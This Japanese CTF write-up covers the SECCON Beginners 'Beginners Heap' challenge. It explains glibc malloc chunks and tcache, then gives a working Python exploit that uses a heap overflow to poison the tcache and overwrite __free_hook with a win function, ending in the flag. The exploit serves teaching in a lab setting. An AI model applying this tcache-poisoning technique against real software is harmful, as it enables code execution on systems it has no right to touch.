#はじめに
先週末のSECCON ctf4bにチームで参加しました。
巷の評判では難化したとのことらしいですが、Pwnに関しては昨年と比べるとだいぶ初心者に優しくなったと思います。(2019年はwarmup問が290pointとかあったし、、)

個人的には[Beginners Heap]を通して、今まで全く分かっていなかったヒープ問の楽しさに触れることができました。今回はこの感動を伝えるべく、[Beginners Heap]のwriteupを丁寧に書いていきます。

想定読者は「glibc mallocの中で何やっているかなんてわからん」という方です。
コンテンツとしては[Beginners Heap]を解くのに必要な

mallocはどうやってメモリを管理しているのか
glibc2.27より導入された管理構造tcacheとは？
ヒープBOFでどうやってアドレスの上書きをするのか

あたりをざっくり説明します。

今回は問題に直接関係のない部分は説明を割愛するので、表現が正確でないところもあるかもしれません。
mallocの全容は伝説のmalloc動画や超絶わかりやすいこちらの連載記事などで勉強してください。
この記事ではこちらのソースコードを元に解説を行います。

#問題と攻撃方針

% nc bh.quals.beginners.seccon.jp 9002

Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f548698c8e8
 <win>: 0x557ad4cfd465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint

chunkAがすでに用意されていて、A=malloc(0x18)に対しread(0,A,0x80)が呼べるのでヒープBOFが使えます。
また、<__free_hook>と<win>のアドレスが与えられています。<__free_hook>はfreeを呼んだ中で呼ばれるhookです。
<win>を起動させればflagが手に入ると明言されているので、「ヒープBOFを起こして<__free_hook>が指し示すアドレスを<win>に書き換え、free(B)を呼ぶ」というのが攻撃の指針になります。

##適当にいじってみる
とりあえずheapの中身を見てみます

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x557ad5696330
 [+] B = (nil)

                   +--------------------+
0x0000557ad5696320 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696328 | 0x0000000000000021 |
                   +--------------------+
0x0000557ad5696330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000557ad5696338 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696340 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696348 | 0x0000000000020cc1 |
                   +--------------------+
0x0000557ad5696350 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696358 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696360 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

続いて、malloc(B)； read(0,B,0x18)(B="ABCDEFGH\n")の後のメモリの中身を見てみます。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x557ad5696330
 [+] B = 0x557ad5696350

                   +--------------------+
0x0000557ad5696320 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696328 | 0x0000000000000021 |
                   +--------------------+
0x0000557ad5696330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x0000557ad5696338 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696340 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696348 | 0x0000000000000021 |
                   +--------------------+
0x0000557ad5696350 | 0x4847464544434241 | <-- B
                   +--------------------+
0x0000557ad5696358 | 0x000000000000000a |
                   +--------------------+
0x0000557ad5696360 | 0x0000000000000000 |
                   +--------------------+
0x0000557ad5696368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Bがmallocされ、ヒープに書き込まれたことがわかります。ここでは、0x0000557ad5696350から0x18バイト分がユーザに渡されたアドレス空間であり、そこにABCDEFGH\nが書き込まれていることがわかります。mallocしたことで

0x0000557ad5696348の値が0x20cc1から0x21
0x0000557ad5696350の値が0x0から0x48474645444342441=(ABCDEFGH)
0x0000557ad5696368の値が0x0から0x20ca1

へと変わっていることがわかります。

#mallocのchunk構造
mallocはmalloc_chunkという以下の構造体でヒープアドレスの管理を行っています。

| struct malloc_chunk { |
|:--|
|  |
|   INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */ |
|   INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */ |
|  |
|   struct malloc_chunk* fd;         /* double links -- used only if free. */ |
|   struct malloc_chunk* bk; |
|  |
|   /* Only used for large blocks: pointer to next larger size.  */ |
|   struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ |
|   struct malloc_chunk* bk_nextsize; |
| }; |

こいつがなかなかの曲者で、ヒープ領域の効率化のため、

allocate時とfree時でメモリの使い方がまるで違う
chunkが管理しているアドレスとユーザに渡されるアドレスが異なる
chunkのサイズによってmalloc_chunkのメンバが使われたり使われなかったりする

など、初めてglibcソースコードを読んだだけでは~~(分かるわっけねーだろ？あん？)~~とっても分かりづらい状態になっています。

今回の問題では、

<--Aや<--B(=ユーザに渡される領域の先頭アドレス)から8byte引いたアドレスに入っている値がmchunk_sizeであること
mchunk_sizeだけはfree時にもchunkのサイズが保持されていること
逆にいうとそれ以外のメンバは使ったり使われなかったりすること

だけ分かっていればOkです。

これを踏まえると、先ほどのヒープのレイアウトはこんな感じになります。

64bitでのmallocでは(mchunk_sizeの8byteとユーザに渡す領域を合わせて)0x20バイト以上の0x10の倍数で確保されます。今回のmchunk_sizeをみると、AもBも0x21であるので、確保できる中で一番小さいサイズであることがわかります。ここで本来のサイズより+1されているのは、これが「直前のチャンクが使用中かどうか」を表すビットとして用いられているためです。(0x10byteアラインされるので下位ビットは必ず0になる、という性質を利用してこのような使われ方をしている。)今回の問題を解く上ではあまり関係ありません。

#freeされたメモリの管理
freeされたメモリはどうやって管理されるの？という話ですが、mchunk_sizeによって扱いが別れます。今回の問題ではサイズが小さく、扱うchunkの数自体も2つしかないので、次で説明するtcacheのみで話が完結します。(それ以外にはfastbinとかunsorted binとかで管理されます)

##tcacheの構造
tcacheはgibc2.27より追加されたthreadごとのcacheで(tcache以外のbinでは複数threadで共有している)、threadが単独で持つcacheだから他のthreadのこと気にしなくていいね、効率よくなるよね、みたいな感じっぽいです。

threadごとが持つtcache_perthread_structの構造は以下のようになっています。

| /* There is one of these for each thread, which contains the 
|:--|
|    per-thread cache (hence "tcache_perthread_struct").  Keeping 
|    overall size low is mildly important.  Note that COUNTS and ENTRIES 
|    are redundant (we could have just counted the linked list each 
|    time), this is for performance reasons.  */ 
| typedef struct tcache_perthread_struct 
| { 
|   char counts[TCACHE_MAX_BINS]; 
|   tcache_entry *entries[TCACHE_MAX_BINS]; 
| } tcache_perthread_struct;

TCACHE_MAX_BINSは64であり、各スレッドは0x20~0x410バイトまで、サイズ別にtcahceを64個保持しています。
またcountsの最大値(=一つのtcacheで保持する最大個数)は通常7のようです。それを超えるとfastbin等の他のbinに格納されます。

tcacheのそれぞれはtcache_entry構造体に表す通り単方向リストです。

| /* We overlay this structure on the user-data portion of a chunk when 
|:--|
|    the chunk is stored in the per-thread cache.  */ 

| typedef struct tcache_entry 
| { 
|   struct tcache_entry *next; 
| } tcache_entry;

*nextが,malloc_chunkでの*fdの役割を果たします。
このような構成にすることで、小さいサイズの再mallocが素早くできるようになっています。

##tcacheの状態を具体的に追っかける
問題におけるtcacheの状態を見てみましょう。

[AもBもmallocされている状態]での0x20byteのtcacheが以下の通り。まだ何もfreeされていないのでもちろん空です。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[free(B)]後のtcacheの状態はこ以下のようになり、
0x20用のtcacheにBのアドレスが確保されていることがわかります。

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000557ad5696350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ここからさらにmalloc(B)を行うと

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

となっているので、再びmallocを読んだ際は、対応するサイズのtcacheを用いてメモリが確保されていることがわかります。

##tcache_entryの*nextを改竄する
今の状態だと、tcache_entryの*nextってメモリ中でどこなん？って感じなので実験して確認してみましょう。
AのヒープBOFを使って確かめてみます、Bをfreeして、read(A)でBOFしたあとのヒープレイアウトが下の図。(前段とはアドレスが変わってますが、Aを基準とした時のオフセットは一緒です)

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x559e8807a330
 [+] B = (nil)

                   +--------------------+
0x0000559e8807a320 | 0x0000000000000000 |
                   +--------------------+
0x0000559e8807a328 | 0x0000000000000021 |
                   +--------------------+
0x0000559e8807a330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x0000559e8807a338 | 0x4242424242424242 |
                   +--------------------+
0x0000559e8807a340 | 0x4343434343434343 |
                   +--------------------+
0x0000559e8807a348 | 0x4444444444444444 |
                   +--------------------+
0x0000559e8807a350 | 0x4545454545454545 | (<--Bがallocateされてた場所)
                   +--------------------+
0x0000559e8807a358 | 0x4646464646464646 |
                   +--------------------+
0x0000559e8807a360 | 0x4747474747474747 |
                   +--------------------+
0x0000559e8807a368 | 0x0000000000020c0a |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

この時のtcacheが下図

-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x0000559e8807a350(rw-) ]
        ||
        \/
[ 0x4545454545454545(---) ]
        ||
        \/
[       BROKEN LINK       ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

よって、malloc(B)を呼んだ時にユーザに返される先頭の8byteがそのまま*nextに対応していることがわかります。

#攻撃手順とexploit

攻撃の具体的な動作は以下のようにすれば良いです。

一度malloc(B)、free(B)を行い、0x20のtcacheにBのアドレスをいれる。
AのBOFを用いて、0x20のtcacheのBの直後に<__free_hook>のアドレスを入れ込む。(この時のBOFでBのchunk_sizeもうまい具合に改竄する、これをしないとfreeした時にsizeのチェックで弾かれる)
もう一度malloc(B)をして、tcacheの先頭に<__free_hook>のアドレスが来るようにする。
free(B)をして、本来のBのアドレスを別のtcacheやbinに飛ばす。(0x20のtcache以外ならなんでも良い)
もう一度malloc(B)を呼ぶと、ユーザには<__free_hook>のアドレスが返されるので、この時のread(B)に<win>のアドレスを指定する。
最終的にもう一度free(B)を呼んでやることで<__free_hook>経由で<win>が呼ばれる。

これを実現するエクスプロイトコードが下記。(このソースはPython2系でしか動きません)

# -*- coding: utf-8 -*-
import socket, time, struct, telnetlib

def mode1(address):
    time.sleep(0.1)
    s.sendall(b'1\n')
    time.sleep(0.1)
    s.sendall(
        b'A'*24 +
        struct.pack('<Q', 0x30) + #Bのchunk_sizeをいい感じに書き換える
        struct.pack('<Q', address) +
        b'\n')

def mode2(address):
    time.sleep(0.1)
    s.sendall(b'2\n')
    time.sleep(0.1)
    s.sendall(
        struct.pack('<Q', address) +
        b'\n')


def mode3():
    time.sleep(0.1)
    s.sendall(b'3\n')
    time.sleep(0.1)
    print(s.recv(1000))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('bh.quals.beginners.seccon.jp', 9002))

time.sleep(0.3)
d=s.recv(1000)

#アドレスの保存
hook = d.split(b'\n')[8].split(" ")[2]
print("__hook_address="+hook)
hook=int(hook,16)

win = d.split(b'\n')[9].split(" ")[2]
print("win_address="+win)
win=int(win,16)

#tchacheへ(malloc(B)&free)
mode2(0)
mode3()

#ヒープオーバーフローで__free_hookの書き込み
mode1(hook)

#2回目のmalloc&free
mode2(0)
mode3()

#3回目のmalloc&free
mode2(win)
mode3()

実行してやるとフラグが出てきます

heap_beginner % python exploit.py
__hook_address=0x7f1ec90408e8
win_address=0x560be7449465

（省略)

> 1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

また、エクスプロイトの各ステップでのtcacheの状態は下記のようになっています。

[起動した直後] tcache(0x20) --> null
[1回目のmalloc(B)後] tcache(0x20) --> null
[1回目のfree(B)後] tcache(0x20) --> Bのアドレス --> null
[ヒープBOF後] tcache(0x20)--> Bのアドレス --> <__free_hook>のアドレス --> null
[2回目のmalloc(B)後] tcache(0x20) --> <__free_hook>のアドレス --> null
[2回目のfree(B)後] tcache(0x20) --> <__free_hook>のアドレス --> null
[3回目のmalloc(B)後] tcache(0x20) --> null
[3回目のfree(B)時] tcache(0x20) --> null

#終わりに
pwn解けたら感動するよ、もし感動しなかったら木の下に埋めてもらっても構わないよ！
ということでみなさんPwnやりましょう。

#参考文献
The 67th Yokohama kernel reading party(YouTube)
mallocの旅 glibc編(上の動画で使われているslide)
mallocの動作を追いかける
 gnu_libcのmalloc.c